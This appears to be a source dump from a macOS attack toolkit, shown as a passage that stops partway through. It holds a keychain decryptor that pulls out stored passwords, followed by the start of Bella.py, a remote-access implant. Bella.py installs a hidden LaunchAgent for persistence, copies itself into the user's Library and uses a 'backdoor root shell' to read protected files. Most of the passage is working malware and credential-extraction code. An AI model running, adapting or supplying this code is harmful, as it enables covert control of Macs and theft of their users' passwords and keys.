c_uint), 1128 | ("KeyCreator", c_uint), 1129 | ("KeyType", c_uint), 1130 | ("KeySizeInBits", c_uint), 1131 | ("EffectiveKeySize", c_uint), 1132 | ("StartDate", c_uint), 1133 | ("EndDate", c_uint), 1134 | ("Sensitive", c_uint), 1135 | ("AlwaysSensitive", c_uint), 1136 | ("Extractable", c_uint), 1137 | ("NeverExtractable", c_uint), 1138 | ("Encrypt", c_uint), 1139 | ("Decrypt", c_uint), 1140 | ("Derive", c_uint), 1141 | ("Sign", c_uint), 1142 | ("Verify", c_uint), 1143 | ("SignRecover", c_uint), 1144 | ("VerifyRecover", c_uint), 1145 | ("Wrap", c_uint), 1146 | ("Wrap", c_uint) 1147 | ] 1148 | 1149 | class _TABLE_HEADER(BigEndianStructure): 1150 | _fields_ = [ 1151 | ("TableSize", c_uint), 1152 | ("TableId", c_uint), 1153 | ("RecordCount", c_uint), 1154 | ("Records", c_uint), 1155 | ("IndexesOffset", c_uint), 1156 | ("FreeListHead", c_uint), 1157 | ("RecordNumbersCount", c_uint), 1158 | #("RecordNumbers", c_uint) 1159 | ] 1160 | 1161 | class _SCHEMA_INFO_RECORD(BigEndianStructure): 1162 | _fields_ = [ 1163 | ("RecordSize", c_uint), 1164 | ("RecordNumber", c_uint), 1165 | ("Unknown2", c_uint), 1166 | ("Unknown3", c_uint), 1167 | ("Unknown4", c_uint), 1168 | ("Unknown5", c_uint), 1169 | ("Unknown6", c_uint), 1170 | ("RecordType", c_uint), 1171 | ("DataSize", c_uint), 1172 | ("Data", c_uint) 1173 | ] 1174 | 1175 | class _ENCRYPTED_BLOB_METADATA(BigEndianStructure): 1176 | _fields_ = [ 1177 | ("MagicNumber", c_uint), 1178 | ("Unknown", c_uint), 1179 | ("StartOffset", c_uint), 1180 | ("EndOffset", c_uint) 1181 | ] 1182 | 1183 | def _memcpy(buf, fmt): 1184 | return cast(c_char_p(buf), POINTER(fmt)).contents 1185 | 1186 | 1187 | class KeyChain(): 1188 | def __init__(self, filepath): 1189 | self.filepath = filepath 1190 | self.fbuf = '' 1191 | 1192 | def open(self): 1193 | try: 1194 | fhandle = open(self.filepath, 'rb') 1195 | except: 1196 | return False 1197 | self.fbuf = fhandle.read() 1198 | if len(self.fbuf): 1199 | fhandle.close() 1200 | return True 1201 | return False 1202 | 1203 | def checkValidKeychain(self): 1204 | if self.fbuf[0:4] != KEYCHAIN_SIGNATURE: 1205 | return False 1206 | return True 1207 | 1208 | ## get apple DB Header 1209 | def getHeader(self): 1210 | header = _memcpy(self.fbuf[:sizeof(_APPL_DB_HEADER)], _APPL_DB_HEADER) 1211 | 1212 | return header 1213 | 1214 | def getSchemaInfo(self, offset): 1215 | table_list = [] 1216 | #schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE]) 1217 | _schemainfo = _memcpy(self.fbuf[offset:offset+sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA) 1218 | for i in xrange(_schemainfo.TableCount): 1219 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA) 1220 | table_list.append( 1221 | struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0]) 1222 | 1223 | return _schemainfo, table_list 1224 | 1225 | def getTable(self, offset): 1226 | record_list = [] 1227 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + offset 1228 | 1229 | TableMetaData = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_TABLE_HEADER)], _TABLE_HEADER) 1230 | 1231 | RECORD_OFFSET_BASE = BASE_ADDR + sizeof(_TABLE_HEADER) 1232 | 1233 | record_count = 0 1234 | offset = 0 1235 | while TableMetaData.RecordCount != record_count: 1236 | RecordOffset = struct.unpack('>I', self.fbuf[ 1237 | RECORD_OFFSET_BASE + (ATOM_SIZE * offset):RECORD_OFFSET_BASE + ( 1238 | ATOM_SIZE * offset) + ATOM_SIZE])[0] 1239 | # if len(record_list) >= 1: 1240 | # if record_list[len(record_list)-1] >= RecordOffset: 1241 | # continue 1242 | if (RecordOffset != 0x00) and (RecordOffset%4 == 0): 1243 | record_list.append(RecordOffset) 1244 | #print ' [-] Record Offset: 0x%.8x'%RecordOffset 1245 | record_count += 1 1246 | offset +=1 1247 | 1248 | return TableMetaData, record_list 1249 | 1250 | def getTablenametoList(self, recordList, tableList): 1251 | TableDic = {} 1252 | for count in xrange(len(recordList)): 1253 | tableMeta, GenericList = self.getTable(tableList[count]) 1254 | TableDic[tableMeta.TableId] = count # extract valid table list 1255 | 1256 | return len(recordList), TableDic 1257 | 1258 | def getSchemaInfoRecord(self, base_addr, offset): 1259 | 1260 | record_meta = [] 1261 | record = [] 1262 | 1263 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset 1264 | 1265 | #print BASE_ADDR 1266 | 1267 | RecordMetadata = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SCHEMA_INFO_RECORD)], _SCHEMA_INFO_RECORD) 1268 | 1269 | data = self.fbuf[BASE_ADDR + 40:BASE_ADDR + 40 + RecordMetadata.DataSize] 1270 | 1271 | for record_element in RecordMetadata: 1272 | record.append(record_element) 1273 | 1274 | record.append(data) 1275 | 1276 | return record 1277 | 1278 | def getKeyblobRecord(self, base_addr, offset): 1279 | 1280 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset 1281 | 1282 | KeyBlobRecHeader = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_KEY_BLOB_REC_HEADER)], _KEY_BLOB_REC_HEADER) 1283 | 1284 | 1285 | # record_meta[0] => record size 1286 | record = self.fbuf[BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER):BASE_ADDR + KeyBlobRecHeader.RecordSize] # password data area 1287 | 1288 | KeyBlobRecord = _memcpy(record[:sizeof(_KEY_BLOB_RECORD)], _KEY_BLOB_RECORD) 1289 | 1290 | if SECURE_STORAGE_GROUP != str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]): 1291 | #print 'not ssgp %s'%str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]) 1292 | #exit() 1293 | return '', '', '', 1 1294 | 1295 | CipherLen = KeyBlobRecord.TotalLength - KeyBlobRecord.CipherOffset 1296 | if CipherLen % BLOCKSIZE != 0: 1297 | print "Bad ciphertext len" 1298 | 1299 | iv = record[16:24] 1300 | 1301 | ciphertext = record[KeyBlobRecord.CipherOffset:KeyBlobRecord.TotalLength] 1302 | 1303 | # match data, keyblob_ciphertext, Initial Vector, success 1304 | return record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 20], ciphertext, iv, 0 1305 | 1306 | 1307 | def getGenericPWRecord(self, base_addr, offset): 1308 | record = [] 1309 | 1310 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset 1311 | 1312 | RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_GENERIC_PW_HEADER)], _GENERIC_PW_HEADER) 1313 | 1314 | Buffer = self.fbuf[BASE_ADDR + sizeof(_GENERIC_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] # record_meta[0] => record size 1315 | 1316 | if RecordMeta.SSGPArea != 0: 1317 | record.append(Buffer[:RecordMeta.SSGPArea]) 1318 | else: 1319 | record.append('') 1320 | 1321 | record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) 1322 | record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) 1323 | 1324 | record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) 1325 | 1326 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) 1327 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) 1328 | 1329 | record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) 1330 | record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) 1331 | record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) 1332 | record.append(self.getLV(BASE_ADDR, RecordMeta.Service & 0xFFFFFFFE)) 1333 | 1334 | return record 1335 | 1336 | def getInternetPWRecord(self, base_addr, offset): 1337 | record = [] 1338 | 1339 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset 1340 | 1341 | RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER) 1342 | 1343 | Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] 1344 | 1345 | if RecordMeta.SSGPArea != 0: 1346 | record.append(Buffer[:RecordMeta.SSGPArea]) 1347 | else: 1348 | record.append('') 1349 | 1350 | record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) 1351 | record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) 1352 | 1353 | record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) 1354 | record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) 1355 | 1356 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) 1357 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) 1358 | 1359 | record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) 1360 | record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) 1361 | record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) 1362 | record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) 1363 | record.append(self.getLV(BASE_ADDR, RecordMeta.SecurityDomain & 0xFFFFFFFE)) 1364 | record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) 1365 | 1366 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) 1367 | 1368 | record.append(self.getLV(BASE_ADDR, RecordMeta.AuthType & 0xFFFFFFFE)) 1369 | 1370 | record.append(self.getInt(BASE_ADDR, RecordMeta.Port & 0xFFFFFFFE)) 1371 | 1372 | record.append(self.getLV(BASE_ADDR, RecordMeta.Path & 0xFFFFFFFE)) 1373 | 1374 | return record 1375 | 1376 | def getx509Record(self, base_addr, offset): 1377 | record = [] 1378 | 1379 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset 1380 | 1381 | RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_X509_CERT_HEADER)], _X509_CERT_HEADER) 1382 | 1383 | x509Certificate = self.fbuf[BASE_ADDR + sizeof(_X509_CERT_HEADER):BASE_ADDR + sizeof(_X509_CERT_HEADER) + RecordMeta.CertSize] 1384 | 1385 | record.append(self.getInt(BASE_ADDR, RecordMeta.CertType & 0xFFFFFFFE)) # Cert Type 1386 | record.append(self.getInt(BASE_ADDR, RecordMeta.CertEncoding & 0xFFFFFFFE)) # Cert Encoding 1387 | 1388 | record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) 1389 | record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) 1390 | record.append(self.getLV(BASE_ADDR, RecordMeta.Subject & 0xFFFFFFFE)) 1391 | record.append(self.getLV(BASE_ADDR, RecordMeta.Issuer & 0xFFFFFFFE)) 1392 | record.append(self.getLV(BASE_ADDR, RecordMeta.SerialNumber & 0xFFFFFFFE)) 1393 | record.append(self.getLV(BASE_ADDR, RecordMeta.SubjectKeyIdentifier & 0xFFFFFFFE)) 1394 | record.append(self.getLV(BASE_ADDR, RecordMeta.PublicKeyHash & 0xFFFFFFFE)) 1395 | 1396 | record.append(x509Certificate) 1397 | return record 1398 | 1399 | def getKeyRecord(self, base_addr, offset): ## PUBLIC and PRIVATE KEY 1400 | record = [] 1401 | 1402 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset 1403 | 1404 | RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SECKEY_HEADER)], _SECKEY_HEADER) 1405 | 1406 | KeyBlob = self.fbuf[BASE_ADDR + sizeof(_SECKEY_HEADER):BASE_ADDR + sizeof(_SECKEY_HEADER) + RecordMeta.BlobSize] 1407 | 1408 | record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) 1409 | record.append(self.getLV(BASE_ADDR, RecordMeta.Label & 0xFFFFFFFE)) 1410 | record.append(self.getInt(BASE_ADDR, RecordMeta.KeyClass & 0xFFFFFFFE)) 1411 | record.append(self.getInt(BASE_ADDR, RecordMeta.Private & 0xFFFFFFFE)) 1412 | record.append(self.getInt(BASE_ADDR, RecordMeta.KeyType & 0xFFFFFFFE)) 1413 | record.append(self.getInt(BASE_ADDR, RecordMeta.KeySizeInBits & 0xFFFFFFFE)) 1414 | record.append(self.getInt(BASE_ADDR, RecordMeta.EffectiveKeySize & 0xFFFFFFFE)) 1415 | record.append(self.getInt(BASE_ADDR, RecordMeta.Extractable & 0xFFFFFFFE)) 1416 | record.append(str(self.getLV(BASE_ADDR, RecordMeta.KeyCreator & 0xFFFFFFFE)).split('\x00')[0]) 1417 | 1418 | IV, Key = self.getEncryptedDatainBlob(KeyBlob) 1419 | record.append(IV) 1420 | record.append(Key) 1421 | 1422 | return record 1423 | 1424 | def getEncryptedDatainBlob(self, BlobBuf): 1425 | magicNumber = 0xFADE0711 1426 | 1427 | IVSize = 8 1428 | 1429 | EncryptedBlobMeta = _memcpy(BlobBuf[:sizeof(_ENCRYPTED_BLOB_METADATA)], _ENCRYPTED_BLOB_METADATA) 1430 | 1431 | if EncryptedBlobMeta.MagicNumber != magicNumber: 1432 | return '', '' 1433 | 1434 | KeyData = BlobBuf[EncryptedBlobMeta.StartOffset:EncryptedBlobMeta.EndOffset] 1435 | IV = BlobBuf[sizeof(_ENCRYPTED_BLOB_METADATA):sizeof(_ENCRYPTED_BLOB_METADATA)+IVSize] 1436 | return IV, KeyData # IV, Encrypted Data 1437 | 1438 | def getKeychainTime(self, BASE_ADDR, pCol): 1439 | if pCol <= 0: 1440 | return '' 1441 | else: 1442 | data = str(struct.unpack('>16s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + struct.calcsize('>16s')])[0]) 1443 | return datetime.datetime.strptime(data.strip('\x00'), '%Y%m%d%H%M%SZ') 1444 | 1445 | def getInt(self, BASE_ADDR, pCol): 1446 | if pCol <= 0: 1447 | return 0 1448 | else: 1449 | return struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] 1450 | 1451 | def getFourCharCode(self, BASE_ADDR, pCol): 1452 | if pCol <= 0: 1453 | return '' 1454 | else: 1455 | return struct.unpack('>4s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] 1456 | 1457 | def getLV(self, BASE_ADDR, pCol): 1458 | if pCol <= 0: 1459 | return '' 1460 | 1461 | str_length = struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] 1462 | # 4byte arrangement 1463 | if (str_length % 4) == 0: 1464 | real_str_len = (str_length / 4) * 4 1465 | else: 1466 | real_str_len = ((str_length / 4) + 1) * 4 1467 | unpack_value = '>' + str(real_str_len) + 's' 1468 | try: 1469 | data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0] 1470 | except struct.error: 1471 | print 'Length is too long : %d'%real_str_len 1472 | return '' 1473 | return data 1474 | 1475 | 1476 | def getAppleshareRecord(self, base_addr, offset): 1477 | record = [] 1478 | 1479 | BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset 1480 | 1481 | RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_APPLE_SHARE_HEADER)], _APPLE_SHARE_HEADER) 1482 | 1483 | Buffer = self.fbuf[BASE_ADDR + sizeof(_APPLE_SHARE_HEADER):BASE_ADDR + RecordMeta.RecordSize] 1484 | 1485 | if RecordMeta.SSGPArea != 0: 1486 | record.append(Buffer[:RecordMeta.SSGPArea]) 1487 | else: 1488 | record.append('') 1489 | 1490 | record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) 1491 | record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) 1492 | 1493 | record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) 1494 | record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) 1495 | 1496 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) 1497 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) 1498 | 1499 | record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) 1500 | record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) 1501 | record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) 1502 | record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) 1503 | record.append(self.getLV(BASE_ADDR, RecordMeta.Volume & 0xFFFFFFFE)) 1504 | record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) 1505 | 1506 | record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) 1507 | 1508 | record.append(self.getLV(BASE_ADDR, RecordMeta.Address & 0xFFFFFFFE)) 1509 | record.append(self.getLV(BASE_ADDR, RecordMeta.Signature & 0xFFFFFFFE)) 1510 | 1511 | return record 1512 | 1513 | ## decrypted dbblob area 1514 | ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT 1515 | ## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp 1516 | def DBBlobDecryption(self, securestoragegroup, dbkey): 1517 | iv = securestoragegroup[20:28] 1518 | 1519 | plain = kcdecrypt(dbkey, iv, securestoragegroup[28:]) 1520 | 1521 | return plain 1522 | 1523 | # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT 1524 | # source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp 1525 | # magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp 1526 | def KeyblobDecryption(self, encryptedblob, iv, dbkey): 1527 | 1528 | magicCmsIV = unhexlify('4adda22c79e82105') 1529 | plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) 1530 | 1531 | if plain.__len__() == 0: 1532 | return '' 1533 | 1534 | # now we handle the unwrapping. we need to take the first 32 bytes, 1535 | # and reverse them. 1536 | revplain = '' 1537 | for i in range(32): 1538 | revplain += plain[31 - i] 1539 | 1540 | # now the real key gets found. */ 1541 | plain = kcdecrypt(dbkey, iv, revplain) 1542 | 1543 | keyblob = plain[4:] 1544 | 1545 | if len(keyblob) != KEYLEN: 1546 | #raise "Bad decrypted keylen!" 1547 | return '' 1548 | 1549 | return keyblob 1550 | 1551 | # test code 1552 | #http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp 1553 | def PrivateKeyDecryption(self, encryptedblob, iv, dbkey): 1554 | magicCmsIV = unhexlify('4adda22c79e82105') 1555 | plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) 1556 | 1557 | if plain.__len__() == 0: 1558 | return '' 1559 | 1560 | # now we handle the unwrapping. we need to take the first 32 bytes, 1561 | # and reverse them. 1562 | revplain = '' 1563 | for i in range(len(plain)): 1564 | revplain += plain[len(plain)-1 - i] 1565 | 1566 | # now the real key gets found. */ 1567 | plain = kcdecrypt(dbkey, iv, revplain) 1568 | 1569 | #hexdump(plain) 1570 | Keyname = plain[:12] # Copied Buffer when user click on right and copy a key on Keychain Access 1571 | keyblob = plain[12:] 1572 | 1573 | return Keyname, keyblob 1574 | 1575 | ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT 1576 | def generateMasterKey(self, pw, symmetrickey_offset): 1577 | 1578 | base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 # header 1579 | 1580 | # salt 1581 | SALTLEN = 20 1582 | salt = self.fbuf[base_addr + 44:base_addr + 44 + SALTLEN] 1583 | 1584 | masterkey = pbkdf2(pw, salt, 1000, KEYLEN) 1585 | return masterkey 1586 | 1587 | ## find DBBlob and extract Wrapping key 1588 | def findWrappingKey(self, master, symmetrickey_offset): 1589 | 1590 | base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 1591 | 1592 | # startCryptoBlob 1593 | cipher_text_offset = struct.unpack('>I', self.fbuf[base_addr + 8:base_addr + 8 + ATOM_SIZE])[0] 1594 | 1595 | # totalength 1596 | totallength = struct.unpack('>I', self.fbuf[base_addr + 12:base_addr + 12 + ATOM_SIZE])[0] 1597 | 1598 | # IV 1599 | IVLEN = 8 1600 | iv = self.fbuf[base_addr + 64:base_addr + 64 + IVLEN] 1601 | 1602 | # get cipher text area 1603 | ciphertext = self.fbuf[base_addr + cipher_text_offset:base_addr + totallength] 1604 | 1605 | # decrypt the key 1606 | plain = kcdecrypt(master, iv, ciphertext) 1607 | 1608 | if plain.__len__() == 0: 1609 | return '' 1610 | 1611 | dbkey = plain[0:KEYLEN] 1612 | 1613 | # return encrypted wrapping key 1614 | return dbkey 1615 | 1616 | 1617 | # SOURCE : extractkeychain.py 1618 | def kcdecrypt(key, iv, data): 1619 | if len(data) == 0: 1620 | #print>>stderr, "FileSize is 0" 1621 | return data 1622 | 1623 | if len(data) % BLOCKSIZE != 0: 1624 | return data 1625 | 1626 | cipher = triple_des(key, CBC, iv) 1627 | # the line below is for pycrypto instead 1628 | #cipher = DES3.new( key, DES3.MODE_CBC, iv ) 1629 | 1630 | plain = cipher.decrypt(data) 1631 | 1632 | # now check padding 1633 | pad = ord(plain[-1]) 1634 | if pad > 8: 1635 | #print>> stderr, "Bad padding byte. You probably have a wrong password" 1636 | return '' 1637 | 1638 | for z in plain[-pad:]: 1639 | if ord(z) != pad: 1640 | #print>> stderr, "Bad padding. You probably have a wrong password" 1641 | return '' 1642 | 1643 | plain = plain[:-pad] 1644 | 1645 | return plain 1646 | 1647 | 1648 | def main(): 1649 | 1650 | parser = argparse.ArgumentParser(description='macOS Keychain Analysis') 1651 | parser.add_argument('-f', '--file', nargs=1, help='Keychain file(*.keychain)', required=True) 1652 | #parser.add_argument('-x', '--exportfile', nargs=1, help='Export a filename (SQLite, optional)', required=False) 1653 | group = parser.add_mutually_exclusive_group(required=True) 1654 | group.add_argument('-k', '--key', nargs=1, help='Masterkey candidate', required=False) 1655 | group.add_argument('-p', '--password', nargs=1, help='User Password', required=False) 1656 | parser.add_argument('-s', '--servicename', nargs=1, help='Keychain Service Name', required=True) 1657 | args = parser.parse_args() 1658 | 1659 | if os.path.exists(args.file[0]) is False: 1660 | print '[!] ERROR: Keychain does not exists' 1661 | exit() 1662 | 1663 | serviceName = args.servicename[0] 1664 | keychain = KeyChain(args.file[0]) 1665 | 1666 | if keychain.open() is False: 1667 | print '[!] ERROR: %s Open Failed'%args.file[0] 1668 | exit() 1669 | 1670 | KeychainHeader = keychain.getHeader() 1671 | 1672 | if KeychainHeader.Signature != KEYCHAIN_SIGNATURE: 1673 | print '[!] ERROR: Invalid Keychain Format' 1674 | exit() 1675 | 1676 | SchemaInfo, TableList = keychain.getSchemaInfo(KeychainHeader.SchemaOffset) 1677 | 1678 | TableMetadata, RecordList = keychain.getTable(TableList[0]) 1679 | 1680 | tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList) 1681 | 1682 | # generate database key 1683 | if args.password is not None: 1684 | masterkey = keychain.generateMasterKey(args.password[0], TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) 1685 | dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) 1686 | 1687 | elif args.key is not None: 1688 | dbkey = keychain.findWrappingKey(unhexlify(args.key[0]), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) 1689 | 1690 | else: 1691 | print '[!] ERROR: password or master key candidate' 1692 | exit() 1693 | 1694 | key_list = {} # keyblob list 1695 | TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) 1696 | 1697 | for symmetrickey_record in symmetrickey_list: 1698 | keyblob, ciphertext, iv, return_value = keychain.getKeyblobRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]], 1699 | symmetrickey_record) 1700 | if return_value == 0: 1701 | passwd = keychain.KeyblobDecryption(ciphertext, iv, dbkey) 1702 | if passwd != '': 1703 | key_list[keyblob] = passwd 1704 | try: 1705 | TableMetadata, genericpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]]) 1706 | for genericpw in genericpw_list: 1707 | record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw) 1708 | if not serviceName in record[-1]: #gets only the specified servicename 1709 | pass 1710 | else: 1711 | try: 1712 | real_key = key_list[record[0][0:20]] 1713 | passwd = keychain.DBBlobDecryption(record[0], real_key) 1714 | except KeyError: 1715 | passwd = '' 1716 | print passwd 1717 | 1718 | except KeyError: 1719 | print '[!] ERROR: Generic Password Table is not available' 1720 | exit() 1721 | 1722 | exit() 1723 | if __name__ == "__main__": 1724 | main() 1725 | -------------------------------------------------------------------------------- /Bella.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import sys, socket, subprocess, time, os, platform, struct, getpass, datetime, plistlib, re, stat, grp, shutil 4 | import string, json, traceback, pwd, urllib, urllib2, base64, binascii, hashlib, sqlite3, bz2, pickle, ast 5 | import StringIO, zipfile, hmac, tempfile, ssl 6 | from xml.etree import ElementTree as ET 7 | from subprocess import Popen, PIPE 8 | from glob import glob 9 | development = True 10 | def create_bella_helpers(launch_agent_name, bella_folder, home_path): 11 | launch_agent_create = """ 12 | 13 | 14 | 15 | Label 16 | %s 17 | ProgramArguments 18 | 19 | %s/Library/%s/Bella 20 | 21 | StartInterval 22 | 5 23 | 24 | \n""" % (launch_agent_name, home_path, bella_folder) 25 | if not os.path.isdir('%s/Library/LaunchAgents/' % home_path): 26 | os.makedirs('%s/Library/LaunchAgents/' % home_path) 27 | with open('%s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), 'wb') as content: 28 | content.write(launch_agent_create) 29 | print 'Created Launch Agent' 30 | print 'Moving Bella' 31 | if not os.path.isdir('%s/Library/%s/' % (home_path, bella_folder)): 32 | os.makedirs('%s/Library/%s/' % (home_path, bella_folder)) 33 | if development: 34 | with open(__file__, 'rb') as content: 35 | with open('%s/Library/%s/Bella' % (home_path, bella_folder), 'wb') as binary: 36 | binary.write(content.read()) 37 | else: 38 | os.rename(__file__, '%s/Library/%s/Bella' % (home_path, bella_folder)) 39 | os.chmod('%s/Library/%s/Bella' % (home_path, bella_folder), 0777) 40 | print 'Loading Launch Agent' 41 | out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read() 42 | if out == '': 43 | time.sleep(1) 44 | ctl_list = subprocess.Popen('launchctl list'.split(), stdout=subprocess.PIPE) 45 | ctl = ctl_list.stdout.read() 46 | completed = False 47 | for agent in ctl.splitlines(): 48 | if launch_agent_name in agent: 49 | completed = True 50 | if completed: 51 | print 'Loaded LaunchAgent' 52 | print 'BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER.' 53 | exit() 54 | else: 55 | pass 56 | print 'Error loading LaunchAgent.' 57 | elif 'service already loaded' in out: 58 | print 'Bella is already loaded in LaunchCTL.' 59 | exit() 60 | else: 61 | print out 62 | pass 63 | return 64 | 65 | def globber(path): #if we are root, this globber will give us all paths 66 | if os.getuid() != 0: 67 | if is_there_SUID_shell(): 68 | (status, msg) = do_root(r"python -c \"from glob import glob; print glob('%s')\"" % path) #special escapes 69 | if status: 70 | return ast.literal_eval(msg) #convert string list to list 71 | return glob(path) 72 | 73 | def protected_file_lister(path): 74 | if os.getuid() != 0: 75 | if is_there_SUID_shell(): 76 | (status, msg) = do_root(r"python -c \"import os; print os.listdir('%s')\"" % path) #special escapes 77 | if status: 78 | return ast.literal_eval(msg) 79 | return os.listdir(path) 80 | 81 | def protected_file_reader(path): #for reading files when we have a backdoor root shell 82 | if os.getuid() != 0: 83 | if is_there_SUID_shell(): 84 | (status, msg) = do_root(r"python -c \"g = open('%s'); print g.read(); g.close()\"" % path) #special escapes 85 | if status: 86 | return msg[:-2] #this will be a raw representation of the file. knock off last 2 carriage returns 87 | if os.access(path, os.R_OK): 88 | with open(path, 'r') as content: 89 | return content.read() 90 | return '[%s] 